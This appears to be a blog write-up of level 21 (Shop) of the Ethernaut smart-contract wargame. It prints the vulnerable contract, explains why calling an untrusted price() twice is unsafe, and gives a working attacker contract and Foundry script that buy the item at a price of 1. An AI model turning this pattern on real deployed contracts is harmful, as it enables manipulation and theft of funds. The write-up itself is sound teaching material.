The Ethernaut CTF Solutions | 21 - Shop

The Ethernaut CTF Solutions | 21 - Shop

Discounted Deals: Exploiting Contract Logic with Interfaces for Better Prices

ยท

3 min read

Goals

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint);
}

contract Shop {
    uint public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price() >= price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}

The hack

The goal of the Shop challenge is to buy an item from the contract at a discount. How to do that? Let's check the buy() function (it's not like we have many other functions to check anyway!):

function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
}

It seems that only a price equal to or greater than the current price will be accepted. However, the price() function is not a simple getter, but rather an interface without any logic. So what if we could set our own logic?

This is quite similar to the level 11 - Elevator. We can create a new contract that implements the Buyer interface and sets our custom logic for the price() function.

Now, we simply have to mess with this part:

if (_buyer.price() >= price && !isSold) {
  isSold = true;
  price = _buyer.price();
}

Notice how the price() function is called twice:

  • Once to check that the price paid is enough,

  • Then again to set the price to its new value.

So we want !sold to be false and price to be more than 100 the first time to pass the condition, and then !sold to be true and price to be as little as possible the second time. And there will be our discount.

Solution

Let's implement the code accordingly:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IShop {
    function isSold() external view returns (bool);
    function buy() external;
}

contract Discount {
    IShop shop;

    constructor(address _shop) {
        shop = IShop(_shop);
    }

    function price() public view returns (uint256) {
        return shop.isSold() ? 1 : 101;
    }

    function attack() public {
        shop.buy();
    }
}

Now, let's prepare the script in charge of deploying the Discount contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {Discount} from "../src/21_Shop.sol";

interface IShop {
    function price() external view returns (uint256);
}

contract PoC is Script {
    // Replace with your Shop instance
    address private immutable shop = 0xb6fD536610887837a3452Ac249432bF9eF129e3a;

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        console2.log("Initial price: ", IShop(shop).price());

        Discount discount = new Discount(shop);
        discount.attack();

        console2.log("Discounted price: ", IShop(shop).price());

        vm.stopBroadcast();
    }
}

Then run the script with the following command:

forge script script/21_Shop.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

Here is what should be printed in your console after running this script:

(I had already completed the challenge, that's why the Initial price was already 1.)

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Don't change the state based on external and untrusted contracts logic.

You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย